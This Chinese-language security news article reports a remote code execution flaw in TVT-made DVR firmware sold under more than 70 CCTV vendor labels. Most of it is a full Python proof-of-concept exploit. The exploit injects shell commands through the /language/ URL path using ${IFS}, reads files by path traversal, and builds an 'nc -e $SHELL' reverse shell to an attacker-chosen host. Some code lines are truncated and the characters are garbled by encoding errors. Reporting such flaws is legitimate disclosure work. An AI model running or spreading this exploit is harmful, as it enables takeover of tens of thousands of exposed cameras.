近日,一位安全研究員發(fā)現(xiàn)70多個(gè)供應(yīng)商售賣的監(jiān)控?cái)z像頭很容易受到遠(yuǎn)程代碼執(zhí)行(RCE)攻擊。
根據(jù)安全研究員Rotem Kemer研究發(fā)現(xiàn),超過(guò)70個(gè)供應(yīng)商售賣的監(jiān)控?cái)z像頭都很容喲受到遠(yuǎn)程代碼執(zhí)行(RCE)攻擊。
研究人員注意到供應(yīng)商正在售賣的商品使用的是同樣的、易受到RCE攻擊的固件。
在“白色標(biāo)簽”的經(jīng)營(yíng)模式下,各種各樣的供應(yīng)商只是簡(jiǎn)單地將自己的標(biāo)簽貼在相同的產(chǎn)品上進(jìn)行售賣,但是不幸的是,他們都沒(méi)有開(kāi)發(fā)軟件硬件的資格。
這個(gè)脆弱的固件是由一家中國(guó)制造商TVT開(kāi)發(fā)的,Kerner分析之后發(fā)現(xiàn)了閉路電視系統(tǒng)的DVR盒易于攻擊的原因。
使用這種固件的產(chǎn)品是在一家銷售閉路電視系統(tǒng)的以色列公司購(gòu)買(mǎi)的,其代碼也表明了這是一個(gè)脆弱的HTTP服務(wù)器。
安全漏洞依賴于服務(wù)器來(lái)檢查是否存在給定語(yǔ)言的目錄。如果該文件夾不存在,軟件會(huì)通過(guò)提取遠(yuǎn)程命令來(lái)執(zhí)行打開(kāi)口令。
下面是研究人員的解釋:
它會(huì)讀取URL,如果URL包含以下的內(nèi)容/language/[language]/index.html 。
如果該目錄存在的話,就會(huì)提取斜杠之間的【language】?jī)?nèi)容并且進(jìn)行檢查;如果不存在,就會(huì)直接執(zhí)行此命令
tar –zxf /mnt/mtd/WebSites/language.tar.gz [language]/* -C /nfsdir/language
這基本上就是給了我們一個(gè)遠(yuǎn)程命令執(zhí)行的機(jī)會(huì)。
下面是影響固件漏洞的概念證明代碼:
#!/usr/bin/python
# http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html
__author__ = 'Rotem Kerner'
from sys import argv
import optparse
from urlparse import urlparse
from re import compile
import socket
import requests
from requests.exceptions import ConnectionError, Timeout, ContentDecodingError
from socket import timeout
def main():
# parse command line options and atguments
optparseoptparser = optparse.OptionParser(usage="%s
optparser.add_option('-c','--check',action="store_true",dest="checkvuln", default=False,
help="Check if target is vulnerable")
optparser.add_option('-e','--exploit', action="store", type="string", dest="connback",
help="Fire the exploit against the given target URL")
(options, args) = optparser.parse_args()
try:
target = args[0]
except IndexError:
optparser.print_help()
exit()
target_url = urlparse(target)
# validating hostname
if not target_url.hostname:
print "[X] supplied target "%s" is not a valid URL" % target
optparser.print_help()
exit()
# A little hack to handle read timeouts, since urllib2 doesnt give us this functionality.
socket.setdefaulttimeout(10)
# is -c flag on check if target url is vulnrable.
if options.checkvuln is True:
print "[!] Checking if target "%s" is vulnable..." % target_url.netloc
try:
# Write file
raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}1>test&&tar${IFS}/string.js'
% (target_url.scheme, target_url.netloc))
# Read the file.
response = raw_url_request('%s:/%s/../../../../../../../mnt/mtd/test' % (target_url.scheme, target_url.netloc))
# remove it..
raw_url_request('%s://%s/language/Swedish${IFS}&&rm${IFS}test&&tar${IFS}/string.js'
% (target_url.scheme, target_url.netloc))
except (ConnectionError, Timeout, timeout) as e:
print "[X] Unable to connect. reason: %s. exiting..." % e.message
return
if response.text[0] != '1':
print "[X] Expected response content first char to be '1' got %s. exiting..." % response.text
return
print "[V] Target "%s" is vulnerable!" % target_url.netloc
# if -e is on then fire exploit,
if options.connback is not None:
# Validate connect-back information.
pattern = compile('(?P
match = pattern.search(options.connback)
if not match:
print "[X] given connect back "%s" should be in the format for host:port" % options.connback
optparser.print_help()
exit()
# fire remote code execution!
# Three ..
try:
raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}nc${IFS}%s${IFS}%s${IFS}>e&&${IFS}/a'
% (target_url.scheme, target_url.netloc, match.group('host'), match.group('port')))
# Two ...
raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}"-e${IFS}$SHELL${IFS}">>e&&${IFS}/a'
% (target_url.scheme, target_url.netloc))
# One. Left off!
raw_url_request('%s://%s/language/Swedish&&$(cat${IFS}e)${IFS}&>r&&${IFS}/s'
% (target_url.scheme, target_url.netloc))
except (ConnectionError, Timeout, timeout) as e:
print "[X] Unable to connect reason: %s. exiting..." % e.message
print "[V] Exploit payload sent!, if nothing went wrong we should be getting a reversed remote shell at %s:%s"
% (match.group('host'), match.group('port'))
# Disabling URL encode hack
def raw_url_request(url):
r = requests.Request('GET')
r.url = url
rr = r.prepare()
# set url without encoding
r.url = url
s = requests.Session()
return s.send(r)
if __name__ == '__main__':
main()
他注意到目前來(lái)說(shuō)有數(shù)以萬(wàn)計(jì)的產(chǎn)品在使用這種HTTP服務(wù)器。他是在查詢了Shodan搜索引擎之后做出的這樣的肯定判斷,而沒(méi)在這種搜索引擎中的產(chǎn)品可能數(shù)量更多。
研究者說(shuō),“快速查詢Shodan之后發(fā)現(xiàn)其分布超過(guò)三萬(wàn);這已經(jīng)很多了,但是我相信這還只是一小部分。”
Kerner試圖向最初的制造商TVT報(bào)告這個(gè)問(wèn)題,但是沒(méi)有受到任何回復(fù)。